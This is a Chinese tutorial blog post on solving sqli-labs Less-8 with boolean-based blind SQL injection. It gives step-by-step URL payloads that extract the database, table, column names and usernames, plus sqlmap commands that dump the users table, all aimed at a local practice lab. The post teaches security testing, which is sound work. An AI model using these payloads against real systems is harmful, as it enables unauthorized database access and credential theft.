sqli-labs:Less-8关卡详细解析

1. 思路🚀

本关的SQL语句为:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  • 注入类型:字符串型(单引号包裹)
  • 提示:参数id需以'闭合

同样无法像常规一样回显,php输出语句的代码如下:

if($row)
{echo '<font size="5" color="#FFFF00">';	echo 'You are in...........';echo "<br>";echo "</font>";
}

对于无回显的情况,我们会想到下面的3种盲注,本题选择布尔盲注:

  • 布尔盲注:逻辑判断✅
  • 时间盲注:延时判断
  • 报错盲注:报错回显

布尔盲注是通过逻辑判断并一步步排查出数据信息,这是种费力不讨好的方式。下面是我整理的内容,了解一些函数,见一下sql语句长什么样子还是很有必要的。

在这里插入图片描述


2. 手工注入步骤🎯

我的地址栏是:http://localhost:8081/Less-8/,只需要将下面的sql语句粘贴即可。

2.1. 正常请求⚡

?id=1

在这里插入图片描述

说明:测试回显情况


2.2. 判断字段数⚡

?id=1' order by 4 --+
  • order by 4:探测字段数(报错说明字段数=3)

在这里插入图片描述


2.3. 排查数据库⚡

先排查数据库的长度,再排查数据库名字。数据库名字已知是:security,刚开始时可以通过<=``>=不等号进行大致范围的判断。

# 先查长度
?id=1' and length(database())=8 --+
# 再查名字
?id=1' and substr((database()),1,1)='s' --+
?id=1' and substr((database()),2,1)='e' --+
?id=1' and substr((database()),3,1)='c' --+
?id=1' and substr((database()),4,1)='u' --+
?id=1' and substr((database()),5,1)='r' --+
?id=1' and substr((database()),6,1)='i' --+
?id=1' and substr((database()),7,1)='t' --+
?id=1' and substr((database()),8,1)='y' --+
  • length:获取字符串长度
  • substr(str,m,n):根据参数截取字符串,str为字符串,m为起始索引,n为截取长度

也可以通过ascii()对字符编码进行逻辑判断:

# e在ASCII表中的值为115
?id=1' and ascii(substr((database()),1,1))='115' --+

在这里插入图片描述


2.4. 排查表名⚡

需要注意的是表/字段的索引从0开始(limit x,1),字符串位置从1开始(substr(str,x,1))

# 查长度
?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 3,1)=5 --+
# 查名字
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 1, 1)='u' --+
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 2, 1)='s' --+
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 3, 1)='e' --+
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 4, 1)='r' --+
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 5, 1)='s' --+

2.5. 排查字段⚡

我用sql语句查字段 ,依次显示:idusernamepassword,但是索引映射:0→id1→password2→username
在这里插入图片描述

# 查长度
?id=1' and (select length(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1)=8 --+
# 查名字
?id=1' and substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 1, 1)='u' --+
?id=1' and substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 2, 1)='s' --+
?id=1' and substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 3, 1)='e' --+
?id=1' and substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 4, 1)='r' --+
?id=1' and substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 5, 1)='n' --+
?id=1' and substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 6, 1)='a' --+
?id=1' and substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 7, 1)='m' --+
?id=1' and substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 8, 1)='e' --+

2.6. 获取数据⚡

?id=1' and substr((select username from users limit 0,1), 1, 1)='D' --+
?id=1' and substr((select username from users limit 0,1), 2, 1)='u' --+
?id=1' and substr((select username from users limit 0,1), 3, 1)='m' --+
?id=1' and substr((select username from users limit 0,1), 4, 1)='b' --+

这是第一个用户的账号,以此类推,可以判断出第二个用户的账号,第一个用户的密码等等。


2.7. 参数汇总表⭐

参数作用示例
'闭合符号id=1'
--+注释符--+
order by判断字段数order by 4
length获取长度length(database)
substr截取子串substr(str,x,1)
ascii字符编码ascii('e')='115'
information_schema系统数据库from information_schema.tables
table_schema数据库名称table_schema='security'
table_name数据表名称table_name='users'
column_name字段名称group_concat(column_name)

3. SQLMap工具测试🎯

url地址换成自己的,后面一定要加上id=1,比如:http://localhost:8081/Less-8/?id=1

# 检测注入点
python sqlmap.py -u "http://localhost:8081/Less-8/?id=1" --batch# 爆数据库
python sqlmap.py -u "url" --dbs --batch# 爆表名
python sqlmap.py -u "url" -D security --tables --batch# 爆列名
python sqlmap.py -u "url" -D security -T users --columns --batch# 爆数据
python sqlmap.py -u "url" -D security -T users -C id,username,password --dump --batch

命令1截图:
在这里插入图片描述

命令5截图:
在这里插入图片描述

SQLMap参数表⭐

参数功能
--batch非交互模式
--dbs枚举数据库
-D指定数据库
-T指定表
-C指定列
--dump导出数据

4. 总结🏁

布尔盲注即便能解决无回显的情况,但是通过手工方式还是太繁琐太麻烦,可谓是吃力不讨好。不过往后都是通过sqlmap直接开扫,但是了解一下布尔盲注还是有必要的。


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/91542.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/91542.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

LeetCode 1782.统计点对的数目

给你一个无向图&#xff0c;无向图由整数 n &#xff0c;表示图中节点的数目&#xff0c;和 edges 组成&#xff0c;其中 edges[i] [ui, vi] 表示 ui 和 vi 之间有一条无向边。同时给你一个代表查询的整数数组 queries 。 第 j 个查询的答案是满足如下条件的点对 (a, b) 的数…

U-Mail邮件系统-全面适配信创环境的国产邮件系统

在当今数字化时代&#xff0c;邮件系统作为企业、政府机构以及各类组织日常办公不可或缺的沟通工具&#xff0c;其安全性、稳定性以及自主可控性的重要性日益凸显。随着信创产业的蓬勃发展&#xff0c;国产邮件系统应运而生&#xff0c;成为保障信息安全、推动数字化转型的关键…

【LeetCode 热题 100】394. 字符串解码

Problem: 394. 字符串解码 给定一个经过编码的字符串&#xff0c;返回它解码后的字符串。 编码规则为: k[encoded_string]&#xff0c;表示其中方括号内部的 encoded_string 正好重复 k 次。注意 k 保证为正整数。 你可以认为输入字符串总是有效的&#xff1b;输入字符串中没有…

Activity之间互相发送数据

activity_send_data_req.xml<?xml version"1.0" encoding"utf-8"?> <LinearLayout xmlns:android"http://schemas.android.com/apk/res/android"android:layout_width"match_parent"android:layout_height"match_pare…

设计模式:访问者模式 Visitor

目录前言问题解决方案结构代码前言 访问者是一种行为设计模式&#xff0c;它能将算法与其所作用的对象隔离开来。 问题 假如你的团队开发了一款能够使用巨型图像中地理信息的应用程序。 图像中的每个节点既能代表复杂实体&#xff08;例如一座城市&#xff09;&#xff0c; 也…

OpenCV 学习探秘之四:从角点检测,SIFT/SURF/ORB特征提取,目标检测与识别,Haar级联分类人脸检测,再到机器学习等接口的全面实战应用与解析

书接上回&#xff0c;前面介绍了一些基本应用&#xff0c;本篇则着重介绍一些比较复杂的应用。 附&#xff1a;本文所用例子中使用的Opencv库OpenCV4.5.4版本编译好的库 五、特征提取与描述 5.1 角点检测&#xff1a;Harris 角点和 Shi-Tomasi 角点 5.1.1 Harris 角点检测&a…

《秋招在即!Redis数据类型面试题解析》

博客主页&#xff1a;天天困啊系列专栏&#xff1a;面试题关注博主&#xff0c;后期持续更新系列文章如果有错误感谢请大家批评指出&#xff0c;及时修改感谢大家点赞&#x1f44d;收藏⭐评论✍ Redis中常见的基础数据结构总共五种&#xff1a;这五种类型分别为String&#xff…

政务网站内容检测系统对错敏信息有什么作用

政务网站内容检测系统在错敏信息管理中发挥着重要作用&#xff0c;能够有效提升政府网站的信息安全性与合规性。以下从错敏信息的作用及蚁巡政务信息巡查系统的功能特点两方面进行说明。一、政务网站内容检测系统对错敏信息的作用1、实时监测与识别内容检测系统通过智能化技术对…

Tower of Hanoi 汉诺塔

题目描述The Tower of Hanoi game consists of three stacks (left, middle and right) and n round disks of different sizes. Initially, the left stack has all the disks, in increasing order of size from top to bottom. The goal is to move all the disks to the r…

在 Docker 中启动 Nginx 并挂载配置文件到宿主机目录

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 在 Docker 中启动 Nginx 并挂载配置文件到宿主机目录前言一、创建宿主机目录存放 Nginx 配置1.1 在宿主机&#xff08;如 Windows 或 Linux&#xff09;上创建目录&#xff0…

认识ansible(入门)

什么是ansible&#xff1f;Ansible是一款自动化运维工具&#xff0c;基于Python开发&#xff0c;集合了众多运维工具&#xff08;puppet、cfengine、chef、func、fabric&#xff09;的优点&#xff0c;实现了批量系统配置、批量程序部署、批量运行命令等功能。Ansible是基于模块…

Apache Ignite 关于 **Executor Service(执行器服务)** 的介绍

这段内容是 Apache Ignite 关于 Executor Service&#xff08;执行器服务&#xff09; 的介绍。我们可以把它理解为&#xff1a;一个分布式的“线程池”&#xff0c;可以把任务分发到集群中的多个节点上去执行。 下面我用通俗易懂的方式帮你彻底理解这个概念。&#x1f310; 什…

应用Builder模式在C++中进行复杂对象构建

引言 在软件开发中&#xff0c;构建复杂对象时常常会遇到构造函数或setter方法过于复杂的情况。Builder模式作为一种创建型设计模式&#xff0c;能够有效地解决这一问题。Guoyao 创建的勇勇(YongYong)角色&#xff0c;通过Builder模式实现了对复杂对象的构建过程与表示的分离&a…

gradio作为原型工具

存在的问题&#xff0c;页面的展示和value不是同一个值的问题&#xff0c;比如说选中了北京&#xff0c;但实际上后端想要的是110000地区码。 在实际开发中&#xff0c;前端展示给用户的是可读的地区名称&#xff08;如“北京”&#xff09;&#xff0c;而背后处理时通常需要的…

计算声子谱

准备的还是vasp的必备文件&#xff1a;POSCAR POTCAR KPOINTS&#xff0c;剩下需要的INCAR、band文件下面代码可以生成&#xff1a;#!/bin/bash if [ ! -f band.conf ];then cat >>band.conf <<EOF ATOM_NAME Ti Al B DIM 1 1 1 BAND 0.0 0.0 0.0 0.5 -0.5 0.5…

深度学习 目标检测常见指标和yolov1分析

目录 一、常见指标 1、IoU 2、Confidence置信度 3、精准度和召回率 4、mAP 5、NMS方法 6、检测速度 前传耗时 FPS 7、FLOPs 二、YOLOv1 检测流程 1、图像网格划分 2、类别预测 3、输出张量 损失函数 优点 缺点 如题&#xff0c;这篇介绍一下目标检测中常见的…

31. 伪类和伪元素区别

总结 选择对象不同内容说明伪类作用对象元素的状态或位置伪元素作用对象元素的一部分内容或虚拟内容是否新增节点均不新增节点常用符号:&#xff08;伪类&#xff09;、::&#xff08;伪元素&#xff09;推荐场景伪类用于交互与状态控制&#xff1b;伪元素用于样式修饰与内容插…

ChatGPT、Playground手动模拟Agent摘要缓冲混合记忆功能

01. 摘要缓冲混合记忆 摘要缓冲混合记忆中&#xff0c;所需的模块有&#xff1a; chat_message_history&#xff1a;存储历史消息列表。moving_summary_buffer&#xff1a;移除消息的汇总字符串。summary_llm&#xff1a;生成摘要的 LLM&#xff0c;接收 summary&#xff08;…

全国青少年信息素养大赛(无人飞行器主题赛(星际迷航)游记)

作者 FHD_WOLF 发布时间 2025-07-30 21:31 分类 生活游记 骑你的 白马啊 行你欲行的路 风吹来 花落涂 点一欉香祈求 ---------万千花蕊慈母悲哀从考场出来&#xff0c;剩下的只有无尽极乐 考前准备&#xff1a; 1.电脑充电。 &#xff08;这个赛项需要自带设备&#x…

Kubernetes (K8s) 部署资源的完整配置OceanBase

Kubernetes Deployment 配置&#xff08;oceanbase-deployment.yaml&#xff09; # oceanbase-deployment.yaml apiVersion: apps/v1 kind: Deployment metadata:name: oceanbase-deployment spec:replicas: 1selector:matchLabels:app: oceanbasetemplate:metadata:labels:app…